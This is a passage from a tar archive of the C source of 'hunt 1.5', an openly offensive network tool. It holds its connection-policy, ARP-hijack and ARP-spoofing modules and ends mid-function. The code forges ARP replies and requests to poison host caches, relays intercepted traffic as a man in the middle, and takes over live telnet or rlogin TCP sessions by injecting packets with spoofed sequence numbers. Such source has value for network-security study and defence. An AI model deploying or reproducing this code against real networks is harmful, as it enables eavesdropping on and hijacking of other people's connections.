hunt-1.5/ 40755 0 0 0 7114736776 10341 5ustar rootroothunt-1.5/addpolicy.c100644 0 0 11713 6661267263 12571 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include struct list l_add_policy = LIST_INIT(struct add_policy_info, next); int conn_add_match(unsigned int src_addr, unsigned int dst_addr, unsigned short src_port, unsigned short dst_port) { struct list_iterator li; struct add_policy_info *api; int retval = 0; list_lock(&l_add_policy); list_iter_set(&li, &l_add_policy); while ((api = list_iter_get(&li))) { if ((src_addr & api->src_mask) == api->src_addr && (dst_addr & api->dst_mask) == api->dst_addr && port_match(src_port, api->src_ports) && port_match(dst_port, api->dst_ports)) { retval = 1; break; } if ((src_addr & api->src_mask) == api->dst_addr && (dst_addr & api->dst_mask) == api->src_addr && port_match(src_port, api->dst_ports) && port_match(dst_port, api->src_ports)) { retval = 1; break; } } list_iter_end(&li); list_unlock(&l_add_policy); return retval; } int conn_add_policy(struct iphdr *iph, struct tcphdr *tcph) { return conn_add_match(iph->saddr, iph->daddr, tcph->source, tcph->dest); } void add_telnet_rlogin_policy(void) { struct add_policy_info *api; api = malloc(sizeof(struct add_policy_info)); assert(api); memset(api, 0, sizeof(sizeof(struct add_policy_info))); api->src_addr = 0; api->src_mask = 0; api->dst_addr = 0; api->dst_mask = 0; api->src_ports[0] = 0; api->dst_ports[0] = htons(23); api->dst_ports[1] = htons(513); api->dst_ports[2] = 0; list_push(&l_add_policy, api); }; static void addpolicy_item_print(int i, struct add_policy_info *api) { char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char host_buf[BUFSIZE]; sprintf_db_ports(api->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(api->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); sprintf(host_buf, "%s/%d [%s]", host_lookup(api->src_addr, hl_mode), count_mask(api->src_mask), buf_src_ports); printf("%2d) %-32s <--> %s/%d [%s]\n", i, host_buf, host_lookup(api->dst_addr, hl_mode), count_mask(api->dst_mask), buf_dst_ports); } void addpolicy_list_items(void) { struct list_iterator li; struct add_policy_info *api; int i = 0; list_iter_set(&li, &l_add_policy); while ((api = list_iter_get(&li))) { addpolicy_item_print(i++, api); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } void addpolicy_add_item(void) { struct add_policy_info *api; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int nr; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, 0, 0, NULL) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, 0, 0, NULL) < 0) return; if ((nr = menu_choose_unr("insert at", 0, list_count(&l_add_policy), list_count(&l_add_policy))) == -1) return; api = malloc(sizeof(struct add_policy_info)); memset(api, 0, sizeof(struct add_policy_info)); api->src_addr = src_ip; api->src_mask = src_mask; port_htons(src_ports); memcpy(api->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); api->dst_addr = dst_ip; api->dst_mask = dst_mask; port_htons(dst_ports); memcpy(api->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); list_lock(&l_add_policy); list_insert_at(&l_add_policy, nr, api); list_unlock(&l_add_policy); } void addpolicy_mod_item(void) { struct add_policy_info *api; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int nr; addpolicy_list_items(); if ((nr = menu_choose_unr("choose item", 0, list_count(&l_add_policy) - 1, list_count(&l_add_policy) - 1)) == -1) return; if (!(api = list_at(&l_add_policy, nr))) return; if (menu_choose_host_mask_ports_dfl("src ip addr/mask ports", &src_ip, &src_mask, src_ports, api->src_addr, api->src_mask, api->src_ports) < 0) return; if (menu_choose_host_mask_ports_dfl("dst ip addr/mask ports", &dst_ip, &dst_mask, dst_ports, api->dst_addr, api->dst_mask, api->dst_ports) < 0) return; port_htons(src_ports); port_htons(dst_ports); list_lock(&l_add_policy); api->src_addr = src_ip; api->src_mask = src_mask; memcpy(api->src_ports, src_ports, sizeof(int) * (MAX_PORTS + 1)); api->dst_addr = dst_ip; api->dst_mask = dst_mask; memcpy(api->dst_ports, dst_ports, sizeof(int) * (MAX_PORTS + 1)); list_unlock(&l_add_policy); } void addpolicy_del_item(void) { int i; struct add_policy_info *api; addpolicy_list_items(); i = menu_choose_unr("item nr. to delete", 0, list_count(&l_add_policy) - 1, -1); if (i >= 0) { list_lock(&l_add_policy); api = list_remove_at(&l_add_policy, i); list_unlock(&l_add_policy); free(api); } } hunt-1.5/arphijack.c100644 0 0 15775 6730742740 12564 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include "c/list.h" /* * * * ATTACK * * */ int user_arp_hijack(struct user_conn_info *uci, char *src_fake_mac, char *dst_fake_mac, int input_mode) { struct conn_info *ci; int retval; if (!(ci = conn_get(uci))) { printf("connection isn't available\n"); retval = 1; } else { retval = arp_hijack(ci, src_fake_mac, dst_fake_mac, input_mode); conn_free(ci); } return retval; } /* * use l_hijack_conn list */ struct watch_tty_data { char *src_fake_mac; struct conn_info *ci; int input_mode; }; static void *watch_tty(struct watch_tty_data *wtd) { struct tcp_spec ts; char buf[256]; int nr; if (wtd->input_mode == INPUT_MODE_RAW) tty_raw(0, 1, 0); while ((nr = read(0, buf, sizeof(buf)))) { if (buf[0] == 29) /* ^] */ break; if (wtd->input_mode == INPUT_MODE_LINEECHO || wtd->input_mode == INPUT_MODE_LINEECHOR) { if (nr >= 3 && buf[0] == '^' && buf[1] == ']' && buf[2] == '\n') break; if (wtd->input_mode == INPUT_MODE_LINEECHOR && nr < sizeof(buf) && buf[nr - 1] == '\n') { buf[nr - 1] = '\r'; buf[nr++] = '\n'; } } memset(&ts, 0, sizeof(ts)); ts.saddr = wtd->ci->src_addr; ts.daddr = wtd->ci->dst_addr; ts.sport = wtd->ci->src_port; ts.dport = wtd->ci->dst_port; ts.src_mac = wtd->src_fake_mac; ts.dst_mac = wtd->ci->dst.src_mac; ts.seq = wtd->ci->dst.next_d_seq; ts.ack_seq = wtd->ci->dst.next_seq; ts.window = wtd->ci->src.window ? wtd->ci->src.window : htons(242); ts.id = htons(ntohs(wtd->ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = buf; ts.data_len = nr; send_tcp_packet(&ts); } if (wtd->input_mode == INPUT_MODE_RAW) tty_reset(0); list_produce_done(&l_hijack_conn); return NULL; } static struct arp_spoof_info *asi_src; /* src in dst host */ static struct arp_spoof_info *asi_dst; /* dst in src host */ static struct arp_dont_relay *dont_relay; int arp_hijack(struct conn_info *ci, char *src_fake_mac, char *dst_fake_mac, int input_mode) { struct iphdr *iph; struct tcphdr *tcph; struct tcp_spec ts; struct ifunc_item ifunc_dst, ifunc_src; struct packet *p; int count_dst = 0, count_src = 0; pthread_t thr_tty; struct watch_tty_data wtd; asi_src = asi_dst = NULL; dont_relay = arp_dont_relay_insert(ci->src_addr, ci->dst_addr, ci->src_port, ci->dst_port); if (src_fake_mac) { if (!(asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_src = start_arp_spoof(ci->src_addr, ci->dst_addr, ci->src.src_mac, ci->dst.src_mac, src_fake_mac, 0, 0, 0); } } else asi_src = get_arp_spoof(ci->src_addr, ci->dst_addr); if (asi_src && user_arpspoof_test(asi_src)) { if (user_run_arpspoof_until_successed(asi_src)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_src->src_addr, hl_mode), host_lookup(asi_src->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (src_fake_mac) stop_arp_spoof(asi_src); asi_src = NULL; } } if (dst_fake_mac) { if (!(asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, NULL, NULL, NULL, 0, 0, 0))) { asi_dst = start_arp_spoof(ci->dst_addr, ci->src_addr, ci->dst.src_mac, ci->src.src_mac, dst_fake_mac, 0, 0, 0); } } else asi_dst = get_arp_spoof(ci->dst_addr, ci->src_addr); if (asi_dst && user_arpspoof_test(asi_dst)) { if (user_run_arpspoof_until_successed(asi_dst)) { set_tty_color(COLOR_BRIGHTRED); printf("ARP spoof of %s in host %s FAILED\n", host_lookup(asi_dst->src_addr, hl_mode), host_lookup(asi_dst->dst_addr, hl_mode)); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); if (dst_fake_mac) stop_arp_spoof(asi_dst); asi_dst = NULL; } } set_tty_color(COLOR_WHITE); printf("you took over the connection\n"); set_tty_color(COLOR_BRIGHTRED); printf("CTRL-] to break\n"); set_tty_color(COLOR_LIGHTGRAY); fflush(stdout); wtd.src_fake_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; wtd.ci = ci; wtd.input_mode = input_mode; list_produce_start(&l_hijack_conn); pthread_create(&thr_tty, NULL, (void *(*)(void *)) watch_tty, &wtd); ifunc_dst.func = (void(*)(struct packet *, void *)) func_hijack_dst; ifunc_dst.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_dst); ifunc_src.func = (void(*)(struct packet *, void *)) func_hijack_src; ifunc_src.arg = ci; list_enqueue(&l_ifunc_tcp, &ifunc_src); while ((p = list_consume(&l_hijack_conn, NULL))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; if (iph->saddr == ci->dst_addr && iph->daddr == ci->src_addr && tcph->source == ci->dst_port && tcph->dest == ci->src_port) { /* packet from dest */ if (p->p_data_len) { print_data_packet(p, p->p_data_len, ++count_dst, 1); packet_free(p); /* send ACK */ memset(&ts, 0, sizeof(ts)); ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = asi_src ? asi_src->src_fake_mac : ci->src.src_mac; ts.dst_mac = ci->dst.src_mac; ts.seq = ci->dst.next_d_seq; ts.ack_seq = ci->dst.next_seq; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = htons(ntohs(ci->src.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; ts.data = NULL; ts.data_len = 0; send_tcp_packet(&ts); } else packet_free(p); } else { if (p->p_data_len) { /* packet from source */ print_data_packet(p, p->p_data_len, ++count_src, 0); memset(&ts, 0, sizeof(ts)); ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = asi_dst ? asi_dst->src_fake_mac : ci->dst.src_mac; ts.dst_mac = ci->src.src_mac; ts.seq = ci->src.next_d_seq; ts.ack_seq = ci->src.next_seq; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = htons(ntohs(ci->dst.id) + 1); ts.ack = 1; ts.psh = 1; ts.rst = 0; if (p->p_data[0] == '\r' || p->p_data[0] == '\n') { ts.data = "\r\n$ "; ts.data_len = 4; } else { ts.data = p->p_data; ts.data_len = p->p_data_len; } send_tcp_packet(&ts); } packet_free(p); } } list_remove(&l_ifunc_tcp, &ifunc_dst); list_remove(&l_ifunc_tcp, &ifunc_src); packet_flush(&l_hijack_conn); pthread_join(thr_tty, NULL); return 0; } void user_arp_hijack_done(char *src_fake_mac, char *dst_fake_mac) { arp_hijack_done(src_fake_mac, dst_fake_mac); } void arp_hijack_done(char *src_fake_mac, char *dst_fake_mac) { arp_dont_relay_remove(dont_relay); if (asi_src && src_fake_mac) { stop_arp_spoof(asi_src); } asi_src = NULL; if (asi_dst && dst_fake_mac) { stop_arp_spoof(asi_dst); } asi_dst = NULL; } hunt-1.5/arpspoof.c100644 0 0 115705 7113460031 12455 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998, 1999 by kra * */ #include "hunt.h" #include #include #include #include #include #include #include #include struct arp_spoof_range { struct arp_spoof_info **asi; /* array of pointers */ int asi_count; unsigned int dst_start_addr; unsigned int dst_end_addr; unsigned int src_addr; char src_fake_mac[ETH_ALEN]; int refresh; int can_forward; struct arp_spoof_range *next; }; static struct list l_arp_spoof = LIST_INIT(struct arp_spoof_info, next); static struct list l_arp_dont_relay = LIST_INIT(struct arp_dont_relay, next); static struct list l_arp_spoof_range = LIST_INIT(struct arp_spoof_range, next); static struct ifunc_item ifunc_arp; static pthread_t relay_thr; static struct ifunc_item ifunc_relay; static struct list l_relay_pkt = LIST_INIT(struct packet, p_next[MODULE_ARP_SPOOF]); static int relayer_running = 0; int arp_request_spoof_through_request = 1; int arp_rr_count = 2; int arp_spoof_switch = 1; int arp_spoof_with_my_mac = 0; int can_forward_question = 0; /* if 0 then can_forward is default to 1 */ unsigned char mac_broadcast[ETH_ALEN] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; unsigned char mac_zero[ETH_ALEN] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; #if 0 static unsigned char mac_test[] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xAA}; static void prepare_switch(struct arp_spoof_info *asi) { struct arp_spec as_dst; struct timespec ts; int i; as_dst.src_mac = asi->src_fake_mac; as_dst.dst_mac = mac_broadcast; as_dst.oper = htons(ARPOP_REQUEST); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1); for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); ts.tv_sec = 0; ts.tv_nsec = 100000000; /* 0.1s */ nanosleep(&ts, NULL); } #endif static void send_src_spoof_to_dst(struct arp_spoof_info *asi) { struct arp_spec as_dst; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to send arp spoof without known dst mac\n"); return; } as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } /* * if the ARP entry is in the host arp cache the host updates it even * from ARP request. That means when the first spoofed host send ARP * request for some other machine to broadcast eth mac (with its original * source mac address) it is received by the second spoofed host also * and that host updates the cache to the right value - so the spoof * is lost - we have to handle this. * * Don't send arp request to broadcast eth mac because then * you can influent all caches. */ static void send_src_spoof_to_dst_through_request(struct arp_spoof_info *asi, unsigned int ask_addr) { struct arp_spec as_dst; int i; if (!asi->dst_mac_valid) { fprintf(stderr, "error: try to send arp spoof 2 without known dst mac\n"); return; } as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; as_dst.dst_mac = asi->dst_mac; /* don't use broadcast - we want that it is received only by the target */ as_dst.oper = htons(ARPOP_REQUEST); as_dst.sender_mac = asi->src_fake_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = ask_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } int arp_spoof_timejob(void *arg, int arg_sec) { struct arp_spoof_info *asi = (struct arp_spoof_info *) arg; struct mac_info *mi_dst, *mi_src; if (!asi->dst_mac_valid) { if ((mi_dst = mac_info_get(asi->dst_addr))) { memcpy(asi->dst_mac, mi_dst->mac, ETH_ALEN); asi->dst_mac_valid = 1; mac_info_release(mi_dst); } else { mac_discover(asi->dst_addr, 1); /* we will find the mac next time */ } } if (!asi->src_mac_valid) { if ((mi_src = mac_info_get(asi->src_addr))) { memcpy(asi->src_mac, mi_src->mac, ETH_ALEN); asi->src_mac_valid = 1; mac_info_release(mi_src); } else { mac_discover(asi->src_addr, 1); /* we will find the mac next time */ } } if (asi->dst_mac_valid) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1)); } return arg_sec; } #if 0 static void print_arp_request_warning(struct packet *p, struct arpeth_hdr *arpethh) { printf("Warning: ARP REQEUST from %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode)); printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode)); print_eth_mac(p->p_ethh->h_source); printf(", ethdst="); print_eth_mac(p->p_ethh->h_dest); printf(", arpethh_sha="); print_eth_mac(arpethh->ar_sha); printf("\n"); } #endif /* * this function runs in hunt thread * and sends ARP respons to ARP requests which are now handled by as */ static void func_arp(struct packet *p, void *arg) { struct list_iterator li; struct arphdr *arph; struct arpeth_hdr *arpethh; struct arp_spoof_info *asi; struct timejob *tj; arph = p->p_arph; arpethh = (struct arpeth_hdr *)(arph + 1); if (arph->ar_pro != htons(ETH_P_IP)) return; /* * we want to send ARP to received request and reply packets */ #if 0 printf("recieved ARP "); if (arph->ar_op == htons(ARPOP_REPLY)) printf("REPLY"); else if (arph->ar_op == htons(ARPOP_REQUEST)) printf("REQUEST"); else printf("UNKNOWN"): printf("for asi: %s", host_lookup(*(unsigned int *)arpethh->ar_sip, hl_mode)); printf(" to %s with ethsrc=", host_lookup(*(unsigned int *)arpethh->ar_tip, hl_mode)); print_eth_mac(p->p_ethh->h_source); printf(", ethdst="); print_eth_mac(p->p_ethh->h_dest); printf("\n"); #endif list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); if (arph->ar_op == htons(ARPOP_REPLY)) { /* reply */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && *(unsigned int *) arpethh->ar_tip == asi->dst_addr) { /* learn mac addresses if we do not have them */ if (!asi->dst_mac_valid) { /* printf("2 learn dst_mac\n");*/ memcpy(asi->dst_mac, arpethh->ar_tha, ETH_ALEN); asi->dst_mac_valid = 1; } if (!asi->src_mac_valid) { /* printf("2 learn src_mac\n");*/ memcpy(asi->src_mac, arpethh->ar_sha, ETH_ALEN); asi->src_mac_valid = 1; } if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } /* printf("send spoof to reply\n");*/ send_src_spoof_to_dst(asi); } } } else if (arph->ar_op == htons(ARPOP_REQUEST)) { /* request */ /* * some host send ARP probe through REQUEST to direct MAC to see if something * changed - in switched network we do not receive these requests (unless the * sending host has already fake mac in its table) so the refresh feature is useful */ while ((asi = list_iter_get(&li))) { if (*(unsigned int *) arpethh->ar_sip == asi->dst_addr && *(unsigned int *) arpethh->ar_tip == asi->src_addr) { /* * check if we can learn something */ if (!asi->dst_mac_valid) { /* printf("1 learn dst_mac\n");*/ memcpy(asi->dst_mac, arpethh->ar_sha, ETH_ALEN); #if 0 if (memcmp(arpethh->ar_sha, p->p_ethh->h_source, ETH_ALEN) != 0) print_arp_request_warning(p, arpethh); #endif asi->dst_mac_valid = 1; } if (!asi->src_mac_valid) { /* we cannot learn because the request is sent to broadcast mac */ mac_discover(asi->src_addr, 1); } /* * send the spoof, question is if to do so when we do not have src_mac_valid */ /* printf("1 send spoof to request\n");*/ send_src_spoof_to_dst(asi); /* * in switched environment we get the REQEUST * (as it is broadcasted) but the REPLY we don't see * - so we heve to refresh it if we don't see the REPLY */ if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } tj = malloc(sizeof(struct timejob)); tj->j_func = arp_spoof_timejob; tj->j_arg = asi; tj->j_arg_sec = 0; asi->tj_reply = tj; register_timejob_milsec_rel(tj, 200); /* 0.2s */ } /* * the source is asking for arp resolution of some host * but the spoof target could update the arp cache when * it receives the request (the request is broadcasted), * so we have to handle this */ if (*(unsigned int *) arpethh->ar_sip == asi->src_addr && asi->dst_mac_valid) { if (arp_request_spoof_through_request) send_src_spoof_to_dst_through_request(asi, *(unsigned int *) arpethh->ar_tip); else send_src_spoof_to_dst(asi); } } } else { /* neither REQUEST nor REPLY */ } list_iter_end(&li); list_unlock(&l_arp_spoof); } /* * for internval use only */ static struct arp_spoof_info *get_asi(unsigned int src_addr, unsigned int dst_addr) { struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr) { retval = asi; break; } } list_iter_end(&li); return retval; } /* * this function is exported to other modules like arphijack * it checks that we have all mac addresses ready */ struct arp_spoof_info *get_arp_spoof(unsigned int src_addr, unsigned int dst_addr) { struct list_iterator li; struct arp_spoof_info *asi, *retval; retval = NULL; list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { if (asi->src_addr == src_addr && asi->dst_addr == dst_addr && asi->src_mac_valid && asi->dst_mac_valid) { retval = asi; break; } } list_iter_end(&li); return retval; } struct arp_dont_relay *arp_dont_relay_insert( unsigned int src_addr, unsigned int dst_addr, unsigned int src_port, unsigned int dst_port) { struct arp_dont_relay *adr; adr = malloc(sizeof(struct arp_dont_relay)); assert(adr); adr->src_addr = src_addr; adr->dst_addr = dst_addr; adr->src_port = src_port; adr->dst_port = dst_port; list_push(&l_arp_dont_relay, adr); return adr; } void arp_dont_relay_remove(struct arp_dont_relay *adr) { list_remove(&l_arp_dont_relay, adr); free(adr); } static void asi_want(struct arp_spoof_info *asi) { pthread_mutex_lock(&asi->mutex); asi->lock_count++; pthread_mutex_unlock(&asi->mutex); } static void asi_release(struct arp_spoof_info *asi) { pthread_mutex_lock(&asi->mutex); if (--(asi->lock_count) == 0) pthread_cond_broadcast(&asi->lock_cond); pthread_mutex_unlock(&asi->mutex); } static void asi_wait_for_release(struct arp_spoof_info *asi) { pthread_mutex_lock(&asi->mutex); while (asi->lock_count > 0) pthread_cond_wait(&asi->lock_cond, &asi->mutex); pthread_mutex_unlock(&asi->mutex); } struct arp_spoof_info *start_arp_spoof(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, char *src_fake_mac, int refresh, int can_forward, int in_range) { struct arp_spoof_info *asi, *tmp; struct timespec ts; struct timejob *tj; struct list_iterator li; int i; if ((asi = get_asi(src_addr, dst_addr))) { if (!asi->dst_mac_valid && dst_mac) { memcpy(asi->dst_mac, dst_mac, ETH_ALEN); asi->dst_mac_valid = 1; } if (!asi->src_mac_valid && src_mac) { memcpy(asi->src_mac, src_mac, ETH_ALEN); asi->src_mac_valid = 1; } asi->use_count++; return asi; } if (!src_fake_mac) return NULL; if (list_count(&l_arp_spoof) == 0) { ifunc_arp.func = func_arp; ifunc_arp.arg = NULL; list_enqueue(&l_ifunc_arp, &ifunc_arp); } asi = malloc(sizeof(struct arp_spoof_info)); assert(asi); memset(asi, 0, sizeof(struct arp_spoof_info)); pthread_mutex_init(&asi->mutex, NULL); pthread_cond_init(&asi->lock_cond, NULL); asi->lock_count = 0; asi->use_count = 1; asi->refresh = refresh; asi->tj_refresh = NULL; asi->tj_reply = NULL; asi->src_addr = src_addr; asi->dst_addr = dst_addr; memcpy(asi->src_fake_mac, src_fake_mac, ETH_ALEN); if (dst_mac) { memcpy(asi->dst_mac, dst_mac, ETH_ALEN); asi->dst_mac_valid = 1; } else asi->dst_mac_valid = 0; if (src_mac) { memcpy(asi->src_mac, src_mac, ETH_ALEN); asi->src_mac_valid = 1; } else asi->src_mac_valid = 0; asi->can_forward = can_forward; asi->in_range = in_range; /* prepare_switch(asi); */ if (asi->dst_mac_valid) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1)); if (arp_spoof_switch) { ts.tv_sec = 0; ts.tv_nsec = 100000000; /* 0.1s */ nanosleep(&ts, NULL); send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(dst_addr) + 1)); } } /* * insert the asi with range at the end of the l_arp_spoof list and * asi without range before asi with range */ if (in_range) { list_enqueue(&l_arp_spoof, asi); } else { i = 0; list_iter_set(&li, &l_arp_spoof); while ((tmp = list_iter_get(&li))) { if (tmp->in_range) break; i++; } list_iter_end(&li); list_insert_at(&l_arp_spoof, i, asi); } if (refresh) { tj = malloc(sizeof(struct timejob)); assert(tj); tj->j_func = arp_spoof_timejob; tj->j_arg = asi; tj->j_arg_sec = refresh; asi->tj_refresh = tj; register_timejob_rel(tj, refresh); } else asi->tj_refresh = NULL; return asi; } void force_arp_spoof(struct arp_spoof_info *asi, int count) { int i; if (asi->dst_mac_valid) { for (i = 0; i < count; i++) { send_src_spoof_to_dst(asi); send_src_spoof_to_dst_through_request(asi, htonl(ntohl(asi->dst_addr) + 1)); } } else printf("Warning: cannot try to force arp spoof while dst mac is not known\n"); } void stop_arp_spoof(struct arp_spoof_info *asi) { struct arp_spec as_dst; unsigned char *asi_src_mac; int i; if (--asi->use_count > 0) return; list_remove(&l_arp_spoof, asi); /* remove asi from the list */ if (asi->tj_refresh) { unregister_timejob(asi->tj_refresh); free(asi->tj_refresh); asi->tj_refresh = NULL; } if (asi->tj_reply) { unregister_timejob(asi->tj_reply); free(asi->tj_reply); asi->tj_reply = NULL; } if (asi->dst_mac_valid) { if (asi->src_mac_valid) asi_src_mac = asi->src_mac; else asi_src_mac = asi->src_fake_mac; if (arp_spoof_switch) as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; else as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi_src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REPLY); /* request is ARPOP_REQUEST */ as_dst.sender_mac = asi_src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = asi->dst_mac; as_dst.target_addr = asi->dst_addr; for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); /* * ok, try request also * ask the host for some fake IP * but set the right mac of sender, if the sender entry is in the * target host cache the host will update the cache. */ if (arp_spoof_switch) as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi->src_fake_mac; else as_dst.src_mac = arp_spoof_with_my_mac ? my_eth_mac : asi_src_mac; as_dst.src_mac = asi->src_mac; as_dst.dst_mac = asi->dst_mac; as_dst.oper = htons(ARPOP_REQUEST); as_dst.sender_mac = asi_src_mac; as_dst.sender_addr = asi->src_addr; as_dst.target_mac = mac_zero; as_dst.target_addr = htonl(ntohl(asi->dst_addr) + 1); for (i = 0; i < arp_rr_count; i++) send_arp_packet(&as_dst); } list_lock(&l_arp_spoof); if (list_count(&l_arp_spoof) == 0) { list_remove(&l_ifunc_arp, &ifunc_arp); } list_unlock(&l_arp_spoof); asi_wait_for_release(asi); pthread_cond_destroy(&asi->lock_cond); pthread_mutex_destroy(&asi->mutex); free(asi); } /* * this function runs in hunt thread * enqueues packets for relaying received from hosts which are ARP spoofed */ static void func_relay(struct packet *p, void *arg) { struct list_iterator li; struct arp_spoof_info *asi; list_lock(&l_arp_spoof); list_iter_set(&li, &l_arp_spoof); while ((asi = list_iter_get(&li))) { /* * IP packet on router looks like this: * 1. src == router/Internet, dst_addr == client * 2. src == client, dst_addr == router/Internet * * ASI with dst == router, src == client should relay 1. * ASI with dst == client, src == router should relay 2. */ if ((p->p_iph->saddr == asi->dst_addr || asi->can_forward) && (p->p_iph->daddr == asi->src_addr || asi->can_forward) && (!asi->dst_mac_valid || memcmp(p->p_ethh->h_source, asi->dst_mac, ETH_ALEN) == 0) && memcmp(p->p_ethh->h_dest, asi->src_fake_mac, ETH_ALEN) == 0) { packet_want(p); asi_want(asi); p->p_arg[MODULE_ARP_SPOOF] = asi; list_produce(&l_relay_pkt, p); break; } } list_iter_end(&li); list_unlock(&l_arp_spoof); } /* * check for packets that we do not relay - connections * that are for example hijacked */ static int check_dont_relay(struct packet *p) { struct arp_dont_relay *adr; struct list_iterator li; struct iphdr *iph; struct tcphdr *tcph; int dont_relay; iph = p->p_iph; tcph = p->p_hdr.p_tcph; dont_relay = 0; list_lock(&l_arp_dont_relay); list_iter_set(&li, &l_arp_dont_relay); while ((adr = list_iter_get(&li))) { if (adr->src_addr == iph->saddr && adr->dst_addr == iph->daddr && adr->src_port == tcph->source && adr->dst_port == tcph->dest) { dont_relay = 1; break; } if (adr->src_addr == iph->daddr && adr->dst_addr == iph->saddr && adr->src_port == tcph->dest && adr->dst_port == tcph->source) { dont_relay = 1; break; } } list_iter_end(&li); list_unlock(&l_arp_dont_relay); return dont_relay; } static void print_relay_packet(const char *label, struct packet *p, int print_mac) { #if 0 struct iphdr *iph = p->p_iph; printf("%s: %s to ", label, host_lookup(iph->saddr, hl_mode)); printf("%s", host_lookup(iph->daddr, hl_mode)); if (iph->protocol == IPPROTO_TCP) printf(" TCP %d -> %d", ntohs(p->p_hdr.p_tcph->source), ntohs(p->p_hdr.p_tcph->dest)); else if (iph->protocol == IPPROTO_UDP) printf(" UDP %d -> %d", ntohs(p->p_hdr.p_udph->source), ntohs(p->p_hdr.p_tcph->dest)); else if (iph->protocol == IPPROTO_ICMP) printf(" ICMP"); else printf(" proto %d", iph->protocol); if (print_mac) { printf(" "); print_eth_mac(p->p_ethh->h_source); printf("->"); print_eth_mac(p->p_ethh->h_dest); } printf("\n"); #endif } /* * This is designed for modifing relayed packets. * It was used to alter packets from poor TCP/IP stack * implementation to correct the bug there - thanks hunt. */ static void relay_modify_hook(struct packet *p_new) { #if 0 struct iphdr *ip; struct tcphdr *tcp; unsigned short old_check; if (p_new->p_iph->protocol == IPPROTO_TCP && 